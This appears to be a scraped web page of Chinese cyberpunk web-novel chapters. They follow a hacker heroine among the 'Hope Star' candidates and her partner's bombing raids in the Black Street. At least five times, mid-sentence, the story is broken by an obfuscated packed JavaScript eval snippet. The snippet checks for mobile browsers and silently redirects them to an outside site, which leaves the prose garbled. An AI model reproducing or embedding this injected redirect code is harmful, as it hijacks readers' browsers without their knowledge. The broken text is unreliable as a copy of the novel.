“不,天啊,你在说什么?你们,绝对,不能带着一丁点儿瑕疵登上’希望之星’!我在职十年,从没出过这种差错!天啊!你们怎么能这么不小心?” 林真感到一点厌烦。 她知道自己不应该评价别人,因为每个人的成长背景和经历都不一样。 就比如,当一个北方人谈到“雪”,南方人很难想到对方说的雪有那么厚、能没过膝盖。她只会想到叶子上那薄薄的一层雪,会想到带着一点白色的操场,想到过一夜,那些白色就都会消失不见,就像是一个短暂的梦。 林真突然开始怀念。 在那个昏暗的安全屋里,诺曼会和她席地而坐,旁边放着打开的医疗箱。诺曼有着非常好的包扎手艺。 他会一边帮她消毒,一边挑眉看她一眼,调侃道:“我们了不起的骇客小姐又去和人近战了?” “那我们了不起的欺诈师,今天开了几枪?”林真反问。 诺曼在黑街的形象是幽灵欺诈师。他的敌人永远不知道他披上了什么皮。林真本以为这份工作会更优雅,像是海里的一条鱼,无声地来,无声地走,可诺曼似乎更热衷于做一个杀手。 “两个。”诺曼帮她缠上绷带。 “我比你多一个。”林真道,说完了又自己摇摇头。 诺曼放下绷带,凑近她,捧住她的脸。 “嘿,嘿,别去想了,你做了你该做的,就是这样。” “我知道。”林真说。 她并不后悔,她只是希望自己的动作更快一点,枪口更稳定一些。如果那天晚上她能提前发现,玛莎和收养院的孩子们本不该受苦。 “这才是我们了不起的骇客小姐,别让情绪缠住你。” 诺曼拉紧绷带,打了一个蝴蝶结。 他们对伤口有不同的解释。 诺曼认为这是勋章,但林真不那么想。 有一次,她和诺曼坐在屋顶上,看着周围爆炸留下的废墟。一个念头突然击中了她——伤口是标记,指引着复仇的方向。她对别人如此,别人对她亦然。 她把这个念头告诉了诺曼。 诺曼报以嗤笑,转头却压着莫恕,搜刮了黑市的美容祛疤产品,天天催着她用。 可旧伤未去,新伤又来。诺曼总也未能如愿。 林真把袖子一撩,亮出手臂上的伤口:“基蒂夫人,这里还有别的伤口呢。” 她身旁,安恬有样学样,伸出两只布满了擦伤和割伤的手。 基蒂女士看起来快要晕过去了。 林真露出一个大大的笑容。 这时,上行的电梯笔直穿过天花板。周围的环境一瞬间变得明亮。 “亲爱的,欢迎来到宫殿。”基蒂女士理了理裙摆,郑重说道。 她们的周围,阳光穿过特制的玻璃,层层过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097053|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滤,柔和地洒在大理石地砖上。悠扬舒缓的音乐里,穿着浅色衣物的工作人员们步履轻盈,对着他们低头问好。 基蒂女士冲他们喊:“快点,我要医疗部和造型部过来。这是红色警报!” 三分钟后,林真已经脱下了衣物,赤脚走进了宫殿的淋浴间。温热的水流冲过她的身体,伤口隐隐作痛。 她深吸一口气,闭上眼睛,仰起脸对着水流。 农场和宫殿的景象反复在她脑海里播放。她注意到电梯还能继续往上。宫殿的最顶上,应该就是最高管理者的居所了。 她回忆着方才见到的所有细节,突然愣住了。 宫殿地砖上的金色花纹,和她在农场里,抬头看到的天花板上的花纹一模一样。 只是一个是天花板,一个是地板。只隔着一层天花板,冰冷压抑的工厂,突然幻化成了奢华完美的宫殿。 她呛了一口水。 水是甜的。 奥林匹斯山下,是一个巨大的蚁巢。 她无疑正走在上山的路上,可她并不感到快乐。她想起林雪,想起玛莎,想起农场里对她微笑的那些人。 她的嘴角勾起又放下,眉心紧蹙又松开。 “咚咚” 有人轻敲淋浴间的门,“林真小姐?” 她关上水,沉默地擦干身体。 门被轻轻打开一条缝,一套崭新的衣服被递了进来。无袖风琴褶白衬衫,象牙白缎面及膝裙。布料高级,做工精细。还有一条黑色皮质雕花粗腰带,带着金色的金属链条。 林真穿上衣物,推开门,问道: “我的腰带呢?” “不行,你要穿最好的衣服,这样才完美。”基蒂女士看着她,目光里满是赞叹:“你现在真好看,亲爱的。” 林真环视房间一圈,就看到自己原本的衣物被放在墙角,装在透明塑封袋里。她大步走过去,翻出自己的武装腰带,系上,然后从枪套里拿出配枪,在基蒂女士的尖叫声中对着地面开了一枪。 无事发生。 她把手枪放回枪套里,笑容甜美无害:“只是个玩具,亲爱的基蒂夫人,可以让我留下它吗?” “只有今天。”基蒂女士皱着眉头默认了。 林真把衣服重新装进塑封袋里。不动声色间,那颗黄铜子弹落入她的手心,又被她装进腰带的暗袋里。 接下来的一整天,她都没能离开这个房间。 有人在她的伤口上抹上最好的愈合凝胶,用体温枪一样的工具抹掉她身上的伤疤。有人柔顺她的长发,洗去紫色,将长发拉直,再把末端烫卷,让发尾整齐地勾向她的下巴。还有人在她的皮肤上涂上有香气的身体乳,小心地把她的眼睫毛夹成卷翘的弧度。 她除了偶尔回答一些“喜欢什么形状的耳环”这样无关痛痒的问题,几乎睡过去。 迷迷糊糊间,她听到基蒂女士询问她的香水喜好。 她垂下目光,道: “我要木质调的。” 木质调的香气,会让她想起一把手柄上包着皮革的大口径手枪,还有那个人。 39. 农场(四) 天色逐渐变暗了。 宫殿里,灯光亮起来。 林真睡醒了,在躺椅上坐起身,活动了一下肩膀和手臂。左臂上,被碎玻璃划开的口子正在愈合,带来一股轻微的痒意。 旁边的躺椅上,安恬盘腿坐着。她换了一身黑色V领马甲,配橄榄绿阔腿裤,戴着一顶墨绿色的齐肩假发。听见响动,一双丹凤眼没有感情地扫过来。 “安恬,你帅死了。”林真发自内心地感叹。 安恬歪了下头,抬手去扯假发。 基蒂女士赶紧过来阻止,又对着林真赞美道:“亲爱的,你真像个上层区长大的贵族小姐。” 林真报以微笑,一边帮安恬拉正假发,一边问道:“我们接下来要做什么?” “我现在带你们去卧室,你们两个一间,然后你们可以在宫殿里到处逛逛,开着门的房间都可以进去,吃的喝的玩的都有。再过半个小时就吃晚饭了,我保证,你们一定会大吃一惊的。” “那我们可以离开宫殿吗?”林真问道。 “不,天啊,你为什么想离开?你们先在这里待一晚上,明天就可以上车了,不用着急。” 基蒂女士说着,一路领着她们来到一间卧室门口,打开门。 卧室里铺着毛绒绒的地毯,正中摆着一张宽大的床铺。林真在床尾坐下,深深陷进了柔软的床垫里。 安恬扯掉头上的假发,往地毯上一扔,然后在林真身前蹲下。她盯着林真看了一会儿,歪了歪头,伸出双手,按在林真的嘴角,轻轻往上提。 林真抓住她的手腕。 “没事。”她挤出一个笑。 安恬满意了,往她旁边一躺。 床铺抖了两下。 林真也顺势躺下。这张床真的很软,软到让她怀疑对脊椎不好,但是太舒服了。她压下云朵一样的被子,正对上安恬的眼睛。 一瞬间,她觉得她们在想同一件事情。 “给收养院弄一张?”她开口。 安恬抓住被子一角,松开,又握紧,然后点点头。 等拿到奖金,她们说不定能给收养院摆满这种床。林真想到这里,突然又有了动力。 她带着安恬走过一个个房间,最后在阅览室停下。 阅览室不小,但只有一个书架,架子上稀稀拉拉地摆着几本书。 林真拿起最外面的一本,打开一看,只见左边写着“联邦好”,右边写着“希望之星好”。 她大失所望,准备换一本。 这时,门口喧哗起来,一堆人推推搡搡地走进来。准确点说,是三个人推搡着一个人。那个人低着头,从林真的角度,只能看到一头黑色的卷发。 至于另外三个人,她认出了他们的脸,都是今年的“希望之星”。 三人小团体为首的男生个子很高,和诺曼差不多,深棕色的头发向上梳起,露出额头。他用力推了一把卷发男生,骂道: “黑街的垃圾!” 林真挑起眉,合上手里的书。 卷发男生踉跄后退,“咚”的一声撞在她面前的书架上,顺势一屁股坐在地上,缩起身抱住了脑袋。 林真扶住摇摇欲倒的书架,伸手拦住了小团体: “嘿,干什么呢?” 为首的男生打量着林真,眼睛一亮:“你就是新来的吧?我是彼得,B级!” 彼得注意到林真腰侧的枪套,“嘿”了一声:“她们还开始搞反差了?还给女孩子配武装带!” 他一边笑着,伸手就向林真的枪套探来:“里面该不会是娃娃吧?” 林真脸色一冷,右手扣住彼得的手腕,一拉一扭,直接将他的手臂别到背后。 她单手控制着彼得,像是丢快递包裹一样,把他的脑袋朝安恬那里一送,习惯性道:“安恬,解决他。” 沙发上,安恬本来懒洋洋地倒着躺着,双腿搭在沙发背上,一晃一晃。 听到指令,她眼神一变,膝弯夹住沙发背,手一撑,腰一拧,一个鲤鱼打挺起来,右手瞬间卡住彼得的脖子,左手指缝间刀光一闪—— 林真突然反应过来这里不是黑街,赶紧叫停。 刀片贴在彼得的脖子上,他发出一声后知后觉的尖叫。 林真走过去,低头看他:“不是都是‘希望之星’吗?为什么欺负人?” 彼得梗着脖子,“他不配!” 还挺硬气,林真看向门口。另外两个,已经哆哆嗦嗦地要跑路了。她收回目光,接着问道: “他为什么不配?” “他爹是黑街扫街人!” “你知道什么是黑街扫街人吗?” “不知道,但黑街都是垃圾!” 林真把手里的书卷成圆柱形,“你再说一遍?” 彼得挺着脖子,声音提高了半度:“黑街都是垃圾!” 咚—— 书卷敲在他额头上,清脆响亮。 “你见过他爹啊?你就在这里瞎比比!” “基蒂夫人说的!” 林真毫不客气地又是一记,“基蒂夫人去过黑街啊?” “黑街都是——” 咚—— “黑街都是垃圾!” 彼得喊完,下意识缩起脖子,抱住脑袋。但这一次,书本没有砸下来。那个女生俯下身盯着他,身上带着一股说不清的香味。 乍一闻是玫瑰,但玫瑰很快凋谢,留下密实的木香。那气味让他想到梦境芯片里的女杀手—— 路灯下,女人穿着白衬衫,抱着装着长柄白玫瑰的木盒,盒子里藏着枪。 她说:“巧了这不是,我刚从黑街回来呢。” 彼得猛然回神,瞪大了眼睛:“你你你……你撒谎,你长这么好看!” “我谢谢你哦。”林真“咔哒”一下解开枪套,握住手枪,拉出来一截。 彼得露出一个震惊的表情,“你不要乱来啊!我是B级!” 林真打开“Escape”,在屋子里扫了一圈,笑容玩味: “哦,巧了,我也是。安恬也是。那个被你欺负的弟弟,也是B级呢。B级没什么了不起的。离他远点,懂吗?” 欺软怕硬小分队你追我赶地逃走了,阅览室里又安静下来。 林真走到那个卷发男生身旁,蹲下身:“黑街的人,怎么挨打不会反抗啊?” 卷发男生哆哆嗦嗦地抬起头,露出一张腼腆清秀的脸。卷发,冷白皮,脸上带着小雀斑,眼睛里包着一汪泪水。 林真眼睛一亮。 卷发小雀斑又要去抱自己的脑袋。 林真干脆放松地往地上一坐,又问了一遍:“黑街的,怎么挨打只会逃跑啊?叫什么?” 小雀斑的声音很轻:“敏秀。我爸说,要是被‘希望之星’退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104740|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 货了……他就打死我。” 林真“扑哧”一声笑出来:“你爸骗你呢。‘希望之星’不退货的。” “可这里的人都不喜欢我。” 林真发出一个不置可否的鼻音。 敏秀像是被刺激到,眼神又急又亮:“你别不相信我!我真的能感觉出来,他们都讨厌我、怕我!我证明给你看。” 他一指沙发上的安恬:“我什么都能感受到。比如她就很奇怪,几乎没有情绪,除了看你的时候,还有刚才打架的时候。” 林真眯起眼睛,没吭声。 安恬从沙发边缘轻巧地溜下来,在她身旁蹲下。 敏秀咬了咬牙,吐出一个词: “黑街。” 词语能勾动人心里的情绪,敏秀看一眼安恬,又看一眼林真,快速说道:“她在愤怒,你很复杂,有愤怒和怀念。” 接着,他说出一个个词语,试探林真的反应。根据不同的反应,决定下一个词,最后,他说: “姐姐。” 林真一个走神。 敏秀抓住了这个瞬间。他看着林真,目光笃定: “我说‘姐姐’的时候,她在看我,你神游了。她在紧张,你在回忆。她自认为是姐姐,你有一个身份是妹妹。她没有在看你,说明她是别人的姐姐,你在回忆,你还很悲伤,说明你的姐姐——” 林真在心里“卧槽”了一声,一把捂住敏秀的嘴:“够了,小侦探。” 敏秀睁大眼睛瞪着她。 林真的眼神陡冷,俯下身: “敏秀啊,别试探你打不过的人。活得久一点,不好吗?我现在放手,你闭嘴,也管住你的脑子,妥?不然杀了你哦。” 她缓缓松开手。敏秀喘了一口气,脸颊涨红:“你根本就不想杀我!” 又被他感知到了。 林真无奈,心想:诺曼啊,你们黑街还有这种犟种的吗?属驴的吧? 她摇摇头,站起身,把手里的书放回书架,一边道: “安恬,你教教他。” 安恬盯着敏秀,像猫咪盯着耗子。手指间,刀片翻飞。 敏秀咽了一口口水,盯着安恬看了一会儿,然后从鞋子里摸出一片刀片,双手递上。 “对不起,我不该随便读你的情绪的。”他果断讨饶。 安恬捏起刀片。银光一闪,刀片就消失在她手中。她没有动,继续盯着敏秀。 敏秀只好从另一只鞋子里摸出第二片刀片,“没有了,真的没有了,姐姐。” 安恬收了两枚刀片,回到沙发上,盘坐下来。三枚银色的刀片在她指间飞舞。 林真看了安恬一眼,忽然觉得她好像是高兴的。她低头看向敏秀,警告道:“不要到处乱叫姐姐。” 敏秀站起身,小声说:“对不起,我不知道你姐姐不在了。” “已经过了很久了。”林真道,“对了,你知道‘海蛇’吗?” 敏秀点点头:“知道。我老爸不让我出门,说我不能变成和他一样。” 林真会心一笑:“也是,你这种,常老七见到可要爱死了。” 外头传来开饭的铃声。 林真起身出门,错身而过间,她听到敏秀轻声说:“我不想像海蛇一样,我不想让别人恐惧我。” 她的脚步一顿,抬手勾了勾。 “跟上,敏秀。”她说。 40. 希望之星(一) 从宫殿望出去,银色的月亮更大了。 林真坐在飘窗上,用白色毛毯包裹着双腿。她已经换上了象牙白的缎面睡裙,但腰间仍系着那条黑色武装带。这让她的打扮多少有些不伦不类。 她捧着一杯蛋白奶,盯着杯子里的奶泡,自言自语,说得很慢。 “嘿,陆大船,你知道吗?” “我今天在大脑农场吃了很棒的晚饭,特别棒……但我不会告诉你吃了什么。反正你有营养针就够了,是不是?” “除非你哪天愿意把面罩摘下来。那样,我们说不定可以一起吃顿饭,正儿八经的饭,有蔬菜和土豆泥,有鸡肉和鸡蛋。” 她突然笑起来,“我说漏嘴了,现在你知道我吃了什么了。我们早上和晚上还有一杯甜滋滋的蛋白奶。” 她将蛋白奶一饮而尽,仿佛把所有的话也一齐咽了下去。 杯底,最后一个奶泡泡炸开,干净得像什么都没发生过。 月光依旧沉默。 林真放下杯子,低声道:“嘿,陆大船,诺曼,明天发车,你会来吗?总得告个别吧?” 黑街,常七爷的据点。本该是最为热闹的晚上,却一反常态冷冷清清。 人们对昨夜的枪战心有余悸,默契地选择避避风头,保住小命。赌场和赛狗厂里,只剩下要钱不要命的老赌棍,和欠了别人几条胳膊几条腿的亡命徒。 “轰——轰轰!” 艰难恢复营业的赌场又一次发生连环爆炸,水泥块和钢梁像下雨一样落下来,压坏了一张张赌桌。 这下可好了,赌客们哭爹喊娘得往外跑。也有红了眼的人,悄悄干掉跑在自己前头的人,顺手抢走对方身上的筹码。毕竟,富贵险中求嘛,黑街赌徒深谙此道。 赌场后门,诺曼事了拂衣去,隐入一条小巷子,来到一辆停着的车前。他听着身后的爆炸声,似乎出了神,带着战术手套的手放在车门上,迟迟没有拉开。 月光照在他脸上。伪装缓缓褪去,露出黑色的面罩。 莫恕摇下车窗,从驾驶座探出头来:“哎,你到底上不上来?” “催什么?”诺曼笑道。 看到他笑,莫恕立刻精神起来:“搞什么?你干掉常老七了,那么开心?” “还没有,那老家伙躲得很好。” 诺曼拉开后门,打开装备包,给史密斯威森重新装弹,又塞了一把子弹进口袋里,敲了敲驾驶座的椅背:“C-4还有没有?” “有。” “拿来。” 莫恕干脆拉起手刹,从副驾驶掏出一盒C-4,转过身,正色问道: “诺曼,你到底要干什么?你今天还没疯够吗?炸完拳台炸赌场,非要送命是不是?你小子别给我笑——” 诺曼灿然一笑,眉眼生辉:“我有分寸。我就是去看看地道还能不能用。” “能用又怎么样?你就算把常老七的盘口翻过来,她也不会回来了。我和你说,你要是今晚嗝儿屁了,别想我帮你们养那一堆小萝卜头!” 诺曼接过C-4,道:“我天亮之前肯定回来,明天还要去五月广场呢。” “啧啧,你们这对苦命鸳鸯。”莫恕叹了一口气:“算了,算了,快点滚。我得换个地方,待会发你位置。” 诺曼竖起大拇指,背上装备。 “喂,别把自己搞死了!我可不给你们养崽!”莫恕冲他的背影喊。 诺曼举起右手,竖起中指。 “我靠!加钱!” 诺曼又比了一个“OK”的手势,消失在巷子尽头。 莫恕发动轿车,远远地绕到赌狗场后方的巷子里,熄了火。他从储物箱扯出一条毯子给自己裹上,骂骂咧咧道:“失恋的人真可怕,失恋的疯子更可怕。” “爱情真可怕。”他咕哝着,闭上眼睛,开始休息。 “呜——” 黑暗里突然传来一声细弱的声音。 有东西在抓挠车门。 莫恕睁开眼睛,警惕地扫了一圈周围。车子周围空荡荡的,没有人影。他小心翼翼打开车门。 一只巴掌大的小黑狗缩在他的轮胎边,被开门声吓到了,跑开几步,然后又“呜”了一声,小心地冲他摇了摇尾巴。 莫恕松了一口气,然后就乐了。估计是赛狗场跑出来的小东西,带回去说不定能给耗子他们做个伴。他记得地鼠李哪里好像有几袋高级狗粮,也不知道是黑街哪个有钱人订购的。 他想了想自己左手一条狗,右手一袋狗粮回家的样子。 那群小孩子一定要乐疯了。 他打开车门,单脚踩在地上,俯下身子。 “嘬嘬嘬,小可怜,过来过来——” 小狗盯着他,试探地踏出一步。 “对,乖狗狗,小东西,过来——” 下一刻,莫恕的脖子一凉。 一柄手术刀抵上了他的脖子。 莫恕僵住了。 小狗冲他跑来,在袭击者的脚边转了转,咬了咬黑色浴衣的边缘,“嘤嘤呜呜”地撒着娇。 “黑子小姐,坐。”莫恕听见一个熟悉的声音,温柔得过分。 那个声音接着问道:“我的狗好看吗?魔术师。” 莫恕僵着身子,缓缓举起双手:“哎,好看。您也好看,药师。” “油嘴滑舌。我问你,N在哪里?” “我不知道。” “撒谎。”药师嗤笑一声。 下一秒,莫恕感觉脖子一痛一凉。他睁大了眼睛:“药师,你给我打了什么?” “唔,只是一点点特别的毒药。明天早上,你会开始咳血、发低烧,明天中午,你会开始七窍流血、渴望死去,明天晚上,你就是个死人了。不过别担心,魔术师,我最珍惜生命了。只要你给我一条消息,我就给你解药。” “……你要什么?” “五月节,我要知道N戴哪一张脸,去见他的爱人。” “什么,N有爱人?我怎么不知道?”莫恕故作惊讶。他刚说完,肋下就是一痛。 药师用针管扎进他的腹部,贴近他的耳朵低声道:“林真就是他的爱人。” “林真,那个林真?大姐,不是,林真都要去上层区了,所以她是甩了N吗?那N凭什么冒风险去见她啊?换成我我肯定不干,这不傻逼恋爱脑吗?黑街还有这种蠢货?” 药师掐住他的脖子,语气突然激动起来: “你不懂!我认识那种眼神,我知道……哪怕只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113555|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见上一眼,我也一定会去的!” 她的声音尖利高亢。脚边,小黑狗“呜”了一声,垂下耳朵,跑远了一点。 药师缓了一口气,声音恢复了温柔平静,“不好意思呢,刚才生气了,多给你注射了一点,明天下午,你就会是个死人了,魔术师。” 莫恕在心里骂了一百句”疯婆娘”,挣扎道:“万一N不去呢?” “他不去你就死了。我知道你不想死,魔术师。我等你的消息。” 手术刀悄无声息地离开了莫恕的脖子。 莫恕等了一会儿,确认药师已经离开,赶紧关上车门。 他哆嗦着摸出烟盒和打火机。 打火机从他手里掉下。他伸手去椅子底下摸,却怎么也找不到。 “啊——啊——”他压低了声音,嘶吼出声。 也许是毒药的原因,他感觉自己喘不上气,哆嗦着打开了车窗。 冷风吹进来,常七爷的地盘又传来爆炸声。夜还很长,但白天,终究还是到来了。 五月十五日。 晴天。 林真手臂上的伤还有一点痕迹。 基蒂女士看了又看,哭天喊地帮她找了一件圆领黑色短外套,让她穿在外头,搭配黑色高腰半身裙。 “没有武装腰带,亲爱的,不可以!”基蒂女士红着眼睛瞪着她,“你是要给全联邦看的,五区必须是安定的,玩具枪也不行。你就要成为了不起的上层人了,这是你这辈子最重要的时刻,你不能像个黑街的臭流氓!天啊!天啊!” 林真感觉基蒂女士下一秒就要哭了。 她耸耸肩,接过那条黑色雕花粗腰带。 “真美,亲爱的,你像一个奶油小蛋糕。”基蒂女士帮她整理好头发,心满意足地去折腾别人了。 林真用余光留意着,等她一转过身去,赶紧掀起裙子,抓起武装腰带两下扎在大腿上。 她在心里对尽职尽责的基蒂女士说了声抱歉,但她有枪械依赖症。这是她的伴侣枪械,和伴侣动物一样。 她对着镜子露出一个笑。 镜子里,她的发尾垂顺,笑容优雅,珍珠项链在胸口闪闪发光。 一切都完美,除了她藏在裙下的那一点不安定。 今天的农场里空无一人,所有人都聚集在五月广场上。广场前已经搭起了平台,铺着红色的地毯。台子后是巨大的屏幕。 林真被安排在队伍最中间,前面是安恬,后面是敏秀,然后是彼得。 一路上,敏秀为了离彼得远一点,已经踩到她两脚了。 高台上,基蒂女士正在致开场词:“我亲爱的五区人,今天,又是我们的希望列车发车的时候了,让我们来见见我们的‘希望之星’们!” 台阶下,工作人员让开道路,示意他们可以上台了。 林真叹了一口气,停下脚步,把敏秀一推,顺势和敏秀换了一个位子。这样一来,她就把敏秀和彼得隔开了。 敏秀感激地看了她一眼,脸上泛起一抹红晕。 彼得紧张地看了她一眼,脸上也泛出一抹红晕。 林真揉了揉自己的眉心,眯起眼睛,感觉自己有点头疼。而且,今天的天气似乎太好了,阳光有些刺眼,晃得她头晕。 41. 希望之星(二) 五月广场上,除了人,还是人。 全副武装的农场警卫们正在人群外围巡逻。他们穿着黑色的防弹衣,戴着头盔,背着冲锋枪,腰上别着电击棍,目光在人群中逡巡,防止有人扰乱秩序。 人群的最前面,是“希望之星”们的家属。 安恬选了桃子,林真选了莫恕。毕竟,诺曼是不可能在光天化日下出场的,而桃子一个人领两份奖金就太招人眼了。 桃子今天穿着一条粉色的长裙,正在向她们用力挥手。莫恕站在她身旁,穿着黑色燕尾服,带着一顶滑稽的黑色宽檐帽,像一个真正的魔术师。他对林真点了一下头,林真也微微点头。 广场上,密密麻麻的人头晃得林真眼晕。她收回目光,闭了闭眼。 这时,基蒂女士报出了她的名字,“林真,我们美丽动人的B级指挥型!” 林真回过神来,离开队伍,朝着人群鞠了一躬。 站直身体的一瞬间,她的头猛地一晕。整座广场都向她压下来,掌声如潮水,冲击着她的耳膜。她听到自己的心脏剧烈跳动。 她突然意识到,这是死亡回响。 见鬼的农场!她在什么时候吃下了镇定剂?是食物里,还是蛋白奶里,还是水里? 她握紧拳头。她还没有入侵最高管理者的脑子,拿到陆小舟的信息,她绝不能在这里失去意识。 “快过来,亲爱的,”基蒂女士向她招手,“上前一点,站到我身边来。你今天可真漂亮,看着你这张脸,完全想象不到你有这么好的脑子——上天真是偏爱你。对不对?来,说句话。” 基蒂女士的声音在她的脑子里回响,像在敲钟。 她看到自己的脸出现在大屏幕上。 她的脑子一片空白。 “我……” 麦克风发出一声巨大的噪音。 “……我很幸运。”她干巴巴地说。 人群发出一片善意的笑声,基蒂女士也笑起来,“别紧张,亲爱的,你的确很幸运。好了,让我们请你的家人上台吧。奖金时刻!这是联邦对你们的支持的回馈!” 音乐响起,莫恕走上台来。 林真从基蒂女士手里接过存着奖金的终端,递给莫恕,然后轻轻抱住对方。 “镇定剂解药,有没有?”她轻声问。 莫恕一愣,然后捂住嘴,似乎压抑着离别的感情,也轻声说:“没有。但他在。” 他的手掠过林真的耳后。 林真感到自己的脑机接口一凉。 他们在音乐声中分开。 林真退回队伍里,抬手拨了一下耳畔的头发,指尖碰到了熟悉的链接端口。那是莫恕刚才偷偷给她戴上的。 链接里,诺曼的声音响起:“怎么了?” “农场的食物里有镇定剂。” 诺曼没有片刻迟疑,道:“坚持住,我来想办法。” 他的声音依旧干净冷冽,像是山里的冷泉水。 林真如释重负。突然,她感觉自己的手指间有些湿滑黏腻。她低头一看,就是一愣。 “等一下,诺曼。莫恕手上有血,你们早上干了什么?” 对面,诺曼停顿了一下,然后说道:“没做什么,不用担心,现在专心你自己,深呼吸。” 介绍和颁奖还在继续。这一头,敏秀同手同脚地回到队伍里,险些把自己绊倒。 下一个就轮到桃子了。 桃子激动地跑了两步,一不小心踩到裙角,绊倒在台阶上。她的鞋跟似乎卡进了台阶的缝隙里,一时间脸色涨红。 基蒂女士大笑起来,解围道:“哎呀呀,我们的家属真是太激动了。大家都非常激动,对不对?” 这时,一个警卫快速走到桃子身旁,双膝跪下,帮她拔出鞋跟,然后小心地扶起了她。 这一幕被转播到大屏幕上,成为今天所有美好瞬间中的一个,想必在未来的一年里都会被人津津乐道。 基蒂女士带头鼓起掌来:“这就是‘希望之星’的魅力!我们所有人站在一起,迎接美好的明天!让我们为他们鼓掌!” 人群中,药师望着大屏幕上那个警卫的脸,勾起嘴角: “抓到你了,N。真是不小心啊,为了让爱人注意到自己吗?我真是,最喜欢爱情了。” “真美好,对不对?”她对旁边的一位年轻男性嫣然一笑,把对方笑得红了脸,然后抬起手,一下一下用力地拍起来。 在掌声里,桃子小步跑上台,一把抓住安恬的手,扑进她的怀里。 安恬猝不及防,一时间浑身僵硬。 “姐姐。”桃子死死抱住她,在她耳边轻声道,“给林真姐姐。” 同时,林真听到了诺曼的声音:“解药给到安恬手上了,你再坚持一下。” “诺曼,最高管理者要致词了吧?”她问道。 “不要管他。你最重要,林真,你最重要。” 林真笑起来。 她笑得实在美丽,一时间吸引了所有的镜头。 所有人都望着屏幕上黑发红唇的女孩,以为自己知道她为什么露出笑容——希望,未来,上层区的生活,不外如是。 只有诺曼听到她在问: “诺曼,你想我了吗?” 链接对面,诺曼沉默了片刻,然后抬起头,越过人群,望向台子上的林真。 “对,我想你了。”他坦然道。 林真的眼前,红色的地毯和黑色的人群已经模糊成一片。她忍住大脑的晕眩,轻声道:“诺曼,我很高兴你来了。” 终于,所有“希望之星”的家人都接过了奖金,农场的最高管理者在安保的护送下走上了高台。他是一位威严的中年人,穿着黑、白、红三色的联邦军装。他走到麦克风前,摘下右手的白手套,拍了拍麦克风。 扩音器“嗡”的一声,整座广场瞬间屏住了呼吸。 林真不知道管理者会讲多久。以前的林真一定听过,但她现在什么都想不起来。她尝试使用“Escape”,可她的太阳穴一抽一抽地疼,注意力完全无法集中。每一次尝试,都只能让她更加晕眩。 她的身体晃了一下,嘴唇几不可见地动了动。 “诺曼。”她在链接里轻声呼唤。 “我在,林真,我在。再坚持一下,你听我说话,好不好?” “……给我讲讲你弟弟吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124750|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好,我给你讲。他比我小两岁,从小就很安静,像个女孩子……不管我用什么伪装,他每次都能认出我。我也不知道他是从哪里发现的,可能是感知型的优势吧。你觉得呢?……林真?” 林真觉得自己的意识像沙粒一样往下漏,过了两秒,她才迟钝地应了一声。 “林真,我要告诉你一个秘密。你听着吗?”诺曼问道。 “我听着。” “小舟他不是芯片上的C级,他只有D,本来是上不了‘希望之星’的。但我改了他的等级信息。你猜猜我是怎么改的?” “诺曼,我头疼。” “想一下,就想一下,林真,别睡过去。” 管理者还在讲话,说“希望之星”将进入各行各业,成为联邦不可或缺的一部分。 台子上,敏秀双手紧握成拳,浑身僵硬。安恬一直在撞他的手。可台下的父亲正死死盯着他,把他钉成了一块木头。他不能再动了,他感觉广场上的所有人都在盯着他。 紧张和恐惧下,他的能力下意识张开。 他首先看到了安恬的情绪。 他从没在安恬身上看到过那么强烈的紧张和担心。在所有人里,安恬只对一个人有情绪反应,可那也只是一点点,像是燃尽的木炭突然亮了一下。 敏秀微微侧头,看向林真。他发现林真的手在颤抖。 左边,安恬又一次碰到他的指节。敏秀咬紧牙关,吞了一口口水,闭上眼睛,张开了手。他不知道安恬要做什么,他只想这一切快点结束。 一颗小小的圆片落入他的手心。 圆片很小,很轻,如果掉到地毯上,甚至不会产生一点动静。敏秀想:没有人会发现,没有人会注意,那样他就安全了,能稳稳当当地登上列车。 不,才不会!他的内心尖叫着,安恬会用刀子片了他的。 他哆嗦着背过双手,将圆片倒腾到左手,觉得自己快哭出来了。他希望这不是什么武器炸弹。 